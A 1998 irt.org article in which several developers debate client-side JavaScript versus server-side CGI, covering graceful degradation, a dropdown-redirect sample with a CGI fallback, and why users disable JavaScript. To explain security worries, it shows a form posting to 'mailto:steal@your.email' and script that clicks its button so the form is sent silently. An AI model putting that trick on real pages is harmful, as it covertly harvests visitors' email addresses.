Kick some booty with invisible Flash!
JavaScript Games #2 - Solitaire
Writing a midi hifi system in JavaScript
You are here: irt.org | Articles | JavaScript | Miscellaneous | Why bother with JavaScript? [ previous next ]
Published on: Friday 25th September 1998 By: Martin Webb
The following is based on the discussion here at irt.org amongst the team following this question received from one of our visitors:
Why bother with Javascript, which assumes someone has a browser capable of using it, when you can do the same thing in your cgi?
Martin Webb:
I agree with you. However, not everyone has access to the CGI-BIN directory.
Take for instance my IAP (http://www.btinternet.com/). For £10 per month (its a UK IAP), you get 10Mb of web space, access to three pre written scripts: Guestbook, Counter, Form to Email and lots of helpful support via phone, email and newsgroups. You don't get any access to the CGI-BIN. Now this sort of setup suits most people. In fact for btinternet over 150,000 people have just that. For this sort of deal most people are hand held through everything to do with the web.
Now with the new domain http://www.irt.org/ this is on a web host provider in the USA. Totally different approach, everything available, including full access to the CGI-BIN. However almost non existent support. This would frighten off every single newbie to the internet.
Then again, why have all of the processing done on the server? Everytime you want to include a SSI, or run a CGI script, the performance of the server is affected. Why not get the client machine to validate your forms *before* they are submitted to the server? Why not use Client Side image maps? Why not use simple redirect scripts on the client? Its quicker, quicker and quicker.
Then again not everyone has a browser that supports a client side scripting language, or even when they do, not all have it enabled. This is where skill comes into developing web pages.
CGI, JavaScript, HTML, CSS and Java all complement each other. They don't all do the same thing. They are tools in a web developers toolbox, that should be used appropriately. At the moment I know HTML, JavaScript and CSS. I'm trying to learn CGI and Perl. I'm reluctant to learn Java - but I'll have to eventually.
Jason Nugent:
Always try to go with a CGI based solution first. Always. Unfortunately, there are somethings that simply cannot be done on the server. As a very common example, look at image rollovers. Everyone uses 'em. Admit it :) You can't do them on the server, so you have to use JavaScript. If you want to use shockwave on your site, you will probably have to check to see if the visitor has the plugin. Another thing you can't do with CGI.
The two technologies compliment each other. The thing to go for is a solution which gives a visitor a memorable experience so that he comes back, while making sure that the site degrades gracefully for visitors who don't have the capacity (or don't want to) to view your site the way it is intended.
With a browser like Opera (in which a user can turn off just about everything), what is a developer to do? Do we disable everything? Do we provide a myriad of alternatives? Do we force the visitor to do it "our way"? Good questions, all of them.
At irt.org, we are trying to discuss every technology related to web development. Our site, as you will notice, uses no JavaScript whatsoever. It does, however, rely on CSS and HTML 4.0 compliant markup exclusively. Some will argue that these technologies aren't widely supported either. That is their prerogative. You may also argue that using these technologies encourages visitors to upgrade browsers and stay current, allowing the technology to thrive.
Martin Webb:
We do use some JavaScript. To validate email addresses entered in forms) and some to perform some neat DHTML reveal/disappear text stuff.
JavaScript can automate the mundane and repetitive site support stuff, e.g. navigation links, back and forward buttons and drop down redirect forms. The trouble with JavaScript is that there are so many workarounds/hacks required to enable it to work or fail safely in so many browers/versions that its not sometimes worth the effort. The biggest pain in the butt, is being careful how you use JavaScript within tables. The second is making sure you code JavaScript *.js source files so that they don't choke on MSIE 3.02.
What is required is a combination between pre server side processing to establish which browser is being used, and then outputting the relavent code, and then client side processing dependant on what we downloaded to the client.
The only problem I can see with this approach is that the server has to pre-process all the documents before delivering them. If we did go down this road, then I've loads of thoughts on how we improve the site: database of articles, each presented slightly differently depending on for example, the age of the article, status of the article, browser etc. Intelligent creation of navigation text links, dependent on where you are in the site and at what level (this would do away with the need to maunally edit every file each time you want to change the content of the navigation links). Other things like banners/adverts/counters, standard headers/footers, copyright messages. Server Side Includes, last modifed dates etc.
I suppose one question to ask is *how* much of a performance issue is parsing each file before replying to the client?
Janus Boye:
The last question you raise (processing time) is very relevant, but in both ASP and CFML (I'm not sure as to CGI), you're able to publish all dynamic content at a given time, e.g. you could make the server process all links every night and then it publishes them to static pages, which are then updated the next day, when the server repeats this task.
The question: Why bother with JavaScript? could be continued by a Why bother with CGI?. CGI is more widespread on servers, but still I think it's an old-fashioned outdated technology compared to ASP or CFML.
Not only is it important to have pages that gracefully degrades, it's also important to strike some balance between the usage of technology and the quality of the content presented. When JavaScript is used to validate an email address, this is a good example of how technology can be used to improved usability. The <blink> tag is an example of how technology sometimes makes things worse...
Martin Webb:
I'm not sure about ASP or CFML, but CGI is effectively free. You can install the Linux operating system, followed by the Apache web server and voila'.
Returning to JavaScript, I would say never rely on it being there, always provide a fallback. For example, the drop down menus we are adding all over the site include some JavaScript processing that will redirect the browser depending on the option chosen, but if JavaScript is not enabled the form processing uses the forms ACTION attribute to invoke the clickgo.cgi script on the server:
<SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript"><!--
function dropgo(what) { var url = what.options[what.selectedIndex].value; if (url != '') location.href = url; }
//--></SCRIPT>
<FORM onSubmit="return false" METHOD="POST" ACTION="/cgi-bin/clickgo2.cgi">
<P>
<SELECT NAME="go">
<OPTION VALUE="../../">Home Page
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../articles.htm">Articles
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../faq.htm">FAQs
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../review/">Reviews
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../download/">Downloads
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../cgi-bin/search.cgi">Search
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="../../beta/">Beta
<OPTION VALUE="">~~~~~~~~~~~<OPTION VALUE="http://www.irt.org/discus/messages/board-topics.html">Bulletin Board
</SELECT>
<INPUT TYPE="SUBMIT" VALUE="Go" onClick="dropgo(this.form.go)">
</FORM>This then uses the best of both worlds, client side JavaScript processing if available, and CGI script processing in ALL other instances. Therefore no one is penalised for disabling JavaScript, but for those that haven't they have a more enjoyable browsing experience because the page redirection happens faster - although they might not be aware of this. If however you rely on JavaScript exclusively then those people that have disabled JavaScript wouldn't be able to use the drop down menu and would be very aware of that fact if they tried to use it.
In this age of version 4 browsers, which support client side scripting, images, frames, 1600x1200 resoluton monitors, and all manner of things, its an educational experience to view your web site on a simple text browser like Lynx.
Pat Magnan
Hmm... this topic raises a whole pile of thoughts here. It could be bad luck, or superstition or both. But I can answer positively that I use JavaScript simply because I can't seem to get CGI scripts to work properly. One of the authors makes the comment they're afraid to learn Java, which I've done (or started to, I guess there's no end to learning, which is why I like programming :-). I have learned some C++ (harder than Java IMHO), and C, but for the life of me, can't get a CGI to work... and I wonder how many would be web gurus are stumped by similar problems.
As far as learning the technology, while there are a multitude of resources for learning JavaScript on the 'net, written to take everyone (including novice programmers) into account, I can't say I've had the same success finding resources for CGI. I know I will learn it, it's just harder to come by free.
As for the cross browser argument, are there really that many non-Javascript enabled browsers out there? I have to be honest and say I don't honestly know, but I use Linux and understand where the Mac users were a couple years ago, watching everything come out for Windows first, (and now it's Windows, then Mac, and often much later, if ever for Linux), but all that aside, how many users don't even have access to Netscape 2.0?
Or do more users disable it than I realize?
Michel Plungjan
I went to http://www.cnn.com/ the other day. It is a graphics intensive site and has a graphical navigation bar - a sort of 'where am I' (Image map). Every time I clicked on this image map, the complete page refreshed INCLUDING the image - downloading a new gif while I waited.
With a frameset and javascript image updating, the same site would be a pleasure to navigate, now I found it a pain, even with a 512K access - I wouldn't even dream of going there with 14k4.
Imagine the server hit when the complete page is regenerated each time one visits. Then imagine this only happening when the browser is Lynx or mosaic.
I am a strong believer in a good mix - give them JavaScript to enhance the experience and server side processing when needed.
On a site I created, two buttonbars were created completely with JavaScript, updating REALLY fast without server hit. A fallback to a cgi for non JS browser was provided, everybody was happy and it was only a little extra effort.
I think the keywords here are percieved speed, server hits and degrading gracefully.
Martin Webb
The question "do people disable JavaScript" is an extremely important question that many web site developers forget to ask themselves when designing sites. At worse the browser doesn't perform the client side processing before the server side process is invoked, at worse a blank or corrupt page is displayed. But people do disable JavaScript for one reason or another. A common reason is fear of security breaches - every time a new security hole is found in a browser people recommend that you "disable JavaScript" to stop the hole. And there have been several holes found since JavaScript was introduced - not necessarily with the JavaScript engine itself, although there have been some - but in the way that JavaScript interacts with the browser. For example:
Although Netscape and Microsoft fix these security holes almost as quick as they are found - we'll never really know when they've all been found. As a result I've seen people, especially colleges and companies, recommend that JavaScript be permanently disabled to avoid the possibilty of future security holes causing problems.
Some people even turn off the warnings that tell you that your browser is about to do something. This is a bit silly. For example, if JavaScript tried to submit a form with a mailto: scheme as the action then it'll fail quietly because Netscape and Microsoft have decided that the submission of a form in this manner could be performed to collect your email address without you knowing. BUT they haven't stopped the onClick event handler from doing a similar thing.
This form allows the user to click the submit button to send an email to the dubious email address steal@your.email:
<FORM ACTION="mailto:steal@your.email" NAME="myForm"> <INPUT TYPE="SUBMIT" VALUE="Form Submit" NAME="myButton"> </FORM>
But the browser will warn the user before sending it. However, if the user is sick to the back teeth of all the browser warnings then the user may have disabled the warnings. The follow surreptitious JavaScript code which attempts to submit the above form will still not succeed:
<SCRIPT LANGUAGE="JavaScript"><!-- document.myForm.submit(); //--></SCRIPT>
There'll not be a warning message, they'll not be a failure message, it'll just fail quietly. However the following will submit the form:
<SCRIPT LANGUAGE="JavaScript"><!-- document.myForm.myButton.click(); //--></SCRIPT>
But as Netscape and Microsoft set the warnings on by default then this shouldn't happen.
Another reason that people disable JavaScript is the faulty logic that it speeds up their browser navigation if JavaScript is disabled. Possibly true if sites use external JavaScript source files. But imbedded JavaScript code will still be downloaded - and then ignored. How do these people know that they're not slowing down their navigation by circumventing possible client side scripting. Take for example the Family Trees JavaScript article. Once the page has downloaded once then you can browse the family tree for hours without ever having to download another file, without JavaScript there would be multiple pages for each family member, and duplication of data across every single page.
There are other reasons why you shouldn't rely on JavaScript being available. Neither Lynx or Mosaic support JavaScript. There are other text only browsers being used that also do not support JavaScript. But why are they used? - mainly because people are happy to carry on using them. I have a colleague a work who is blind but perfectly happy surfing the web using his text only web browser.
Perhaps this article should have been called: "Images - why bother?". Maybe next time.
Kick some booty with invisible Flash!
JavaScript Games #2 - Solitaire
Writing a midi hifi system in JavaScript
JavaScript Beginners Start Here